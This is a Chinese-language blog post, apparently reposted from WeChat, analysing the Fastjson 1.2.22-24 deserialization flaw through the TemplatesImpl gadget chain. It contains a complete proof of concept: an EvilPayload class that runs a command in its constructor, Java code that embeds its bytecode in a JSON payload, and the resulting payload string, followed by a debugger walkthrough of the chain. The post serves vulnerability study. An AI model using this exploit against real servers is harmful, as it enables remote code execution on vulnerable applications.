Fastjson 1.2.22-24 反序列化漏洞分析(1)

  • A+
所属分类:安全开发

前言

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

影响版本:1.2.22-24 官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315 补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b

漏洞分析

实验环境:jdk8u121

创建一个恶意类EvilPayload,继承AbstractTranslet

package com.yy.FastJson.payload01;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilPayload extends AbstractTranslet {
    public EvilPayload() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        EvilPayload t = new EvilPayload();
    }
}

新建一个Poc类

package com.yy.FastJson.payload01;

import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }

        String result = Base64.encodeBase64String(bos.toByteArray());

        return result;
    }

    public static void bad_method() {
        ParserConfig config = new ParserConfig();
        String evil_path = "D:\study\java\code\vuln-master\src\main\java\com\yy\FastJson\payload01\EvilPayload.class";
        String evil_code = readClass(evil_path);

        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        String json = "{"@type":"" + NASTY_CLASS +
                "","_bytecodes":[""+evil_code+""]," +
                "'_name':'yang'," +
                "'_tfactory':{}," +
                ""_outputProperties":{}}n";
        System.out.println(json);
        Object obj = JSON.parseObject(json,Feature.SupportNonPublicField);
    }

    public static void main(String args[]) {
        bad_method();
    }

}

上面生成的text1为:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAAD...这里是EvilPayload.class的字节码文件转换成base64的字符串"],'_name':'yang','_tfactory':{ },"_outputProperties":{ }}

解析:

Poc类中的readClass方法,把class文件读取,然后进行base64编码变成字符串。

@type后面指定了反序列化的类为TemplatesImpl类,其类的属性

_bytecodes设置为恶意类
_name设置为yang
_tfactory设置为空
_outputProperties也为空

这个poc利用的就是parseObject或者parse

poc调试:

这个调用链的入口是getOutputProperties方法,其中的Getter方法满足加入fieldList[]列表的条件,所以无论是用parseObject还是parse都会调用get方法

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210729204904590

前面在fastjson中,会把evil_code进行base64解码后设置给_bytecodes

把断点下到newTransformer().getOutputProperties()

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210729205534853

跟进newTransformer()方法,其调用了getTransletInstance()方法

Fastjson 1.2.22-24 反序列化漏洞分析(1)

跟进getTransletInstance()方法,其_class为null,所以会调用到defineTransletClasses()方法

Fastjson 1.2.22-24 反序列化漏洞分析(1)

跟进defineTransletClasses()方法

Fastjson 1.2.22-24 反序列化漏洞分析(1)

这个方法调用了defineClass()方法,可以从byte[]还原出一个Class对象,Class对象在调用newInstance()方法就会进行实例化

Fastjson 1.2.22-24 反序列化漏洞分析(1)

回到getTransletInstance()方法中,进行了newInstance()实例化,然后就会调用其构造方法触发执行。

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210729211400438

注意点:

1)TemplatesImpl中_name的值不为null,才会调用到defineTransletClasses

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210621143307755

2)_bytecodes为null会报异常

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210729212115154

3)_tfactory会调用getExternalExtensionsMap()方法,如果为null会报错

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210729212259260

_tfactory是在fastjson中被赋值的

Fastjson 1.2.22-24 反序列化漏洞分析(1)
image-20210729212409199

图片来源:https://blog.csdn.net/qq_34101364/article/details/111706189

4)恶意类要继承AbstractTranslet类,因为这里会进行类型转换

Fastjson 1.2.22-24 反序列化漏洞分析(1)

总结:

fastjson在反序列化过程中,会getOutputProperties()方法,最后调用到newInstance()方法就会进行实例化触发构造函数的执行。

无论通过fastjson哪种方式解析json字符串,都会触发getOutputProperties()方法,但要注意的是,前提是开发需要代码中写了Feature.SupportNonPublicField选项,导致了利用点更加的苛刻。

Fastjson 1.2.22-24 反序列化漏洞分析(1)

参考:

https://www.anquanke.com/post/id/211035#h2-5

https://blog.csdn.net/qq_34101364/article/details/111706189

https://www.cnblogs.com/sijidou/p/13121332.html?ivk_sa=1024320u


本文始发于微信公众号(安全羊):Fastjson 1.2.22-24 反序列化漏洞分析(1)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: